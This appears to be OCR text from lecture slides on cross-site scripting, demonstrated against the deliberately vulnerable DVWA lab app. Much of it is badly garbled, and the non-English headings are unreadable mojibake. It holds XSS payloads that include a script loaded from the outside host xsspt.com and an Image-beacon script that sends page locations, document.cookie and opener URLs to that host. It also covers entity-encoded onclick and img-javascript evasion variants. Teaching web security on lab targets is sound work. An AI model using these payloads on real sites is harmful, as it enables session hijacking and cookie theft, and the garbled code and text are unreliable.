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¢div class="vulnerable_ code_ area">»
4 <form name="X55" action="#" method="GET">»
Lpxkhat's vour name?</p>
£input name="name" type="text"»< S input>
{input type="submit" wvalue="Submit"></input=>
<fform>
4 Lprey
Hello
Kscriptralert({document.cookie)</script>
</pre=
<fdive=

<script>alert(document.cookie)</script>
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What's your name?

[ 1 || Submit

More info

4 ¢div class="vulnerable_code_area":
4 <form name="XS5" action="#" method="GET"»
{p*What’'s your name?</p>
<input name="name" type="text":</lnput>
<input type="submit" value="Submit"»</input>
—sJ/form>
{prerHello world</pre>
<fdive
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http://192.168.255.192/dvwa/vulnerabilities/xss_r/?
name=<script src=http://xsspt.com/dHCI7h?1529671253></

hitp://192.168.255.120/dvwa/
ey e
Screen Recarder

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are
to be an aid for security professionals tc test their skills and tocls in a legal environment, help web developers
better understand the processes of securing web applications and aid teachers/students to teach/leam web
application security in a class room environment

WARNING!

Damn Vulnerable Wob App s dar vulnerablel Do notupload it your hosting provider's public i fldor or
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1iurl="+escape (docment. location)+'tcockie='"+escape (document.cookie) };

Ei HCITh. JsE!|
1 H{fonction(){
2 {new Image()).srcf'http://xsspt.com/index.php?do=apisid=dHCIThilocation="
3 H +escape ( (function Meb
4 try{return document.location.href}
5] catch{e) {return ''}})())+ &toplocation='
& [ +escape ( (function() {
7 try{return top.location.href}
catch(e) {return ''}}) () )+ ccookie='
i H +escape ( (function() {
10 try{return document.cookie}
11 catch(e) {return ''}}) () )+ copener='
1z H t+escape ( (function() {
bk try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}
14 catch(e){return ""}H ()} 0
15 %if(".'=;){keep=new Image():
16 keep.src="http://xsspt.com/index,php?do=keepsession&id=dHC
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« XSS73ZE
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iy . Vulnerability: Stored Cross Site Scripting (XSS;

Instructions |
MName * | |
Setup |

Message *
Brute Force

|

Command Execution |

CSRF |

File Inclusion |
SQL Injection | Name: test

|

|

|

Sign Guestbook

= Message: This is a test comment.
SQL Injection (Blind)
Upload
XSS reflected

Name: ss
Message:

Name:
Message: just test

Name:
Message: just a test

DVWA Security |

PHP Info |

Name:
| Message: test

Domain: 23 v
O mtp..f.fxsspt.comfdoiautn.’2231‘6?{185?!)31:28933%41‘!‘68@1c9? { 10 /domainixxx B B EARE)

i BRE Request Headers
IERIEIE - Bl 17
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« KNl REFEXSSiTHIE

— FIT izt
« BUEFRF < “ -
- <script>alert(1)</script>
- SERIER{BIRIR

— ZBI;EN
« XSSER:-
- RS (FE{EIE. BiFBES---)
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- WIRBABRPR< > “ <script>--
— fRIgEEX (HTML--)

- BRIE®
- XSSWiHBR: KB cookiefiE & 14
- P&

— HttponlyEt* (R 1IEEPimiAIABlcookie )

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

| || Submit |

More info
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« XSS%id
— BIRPRE
« BHMUGITIE T <script>hr&E, BIRRE#E
- EAESHHEN e SHMRTE <img>
<img src= ‘javascript:alert(/xss/)’ >
— imEHFmMNTjs (onclick. onerror:--)

<input type= “button” value= “click me”
onclick= “alert(xss)” >
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Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

| || Submit

More info [

hitp:iiha.chers.orgxss. it
hitp:ifen-wikipedia. orgiwikilCross.site 'scripting
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« XSS#%H
— fiased
« HTML3 1R 4RE
- <=7 &I
* jSmtd
- URL#1H
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« XSS%id
— HRiE5D
- <a onclick="javascript:alert(/xss/)">click this
url</a>
» <a onclick="htmIs{k#&m3"> click this url </a>

+ <a onclick="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;
&#112;&#116;&#58;&#97;&#108;&#101;,&#114;&#116;&#40;&#47,
&#120;&#115;&H#115;&#47;&#41;,&#10;">click this url</a>

Vulnerability: Reflected Cross Site Scripting (X&S)

What's your name?

| || Submit |

More info
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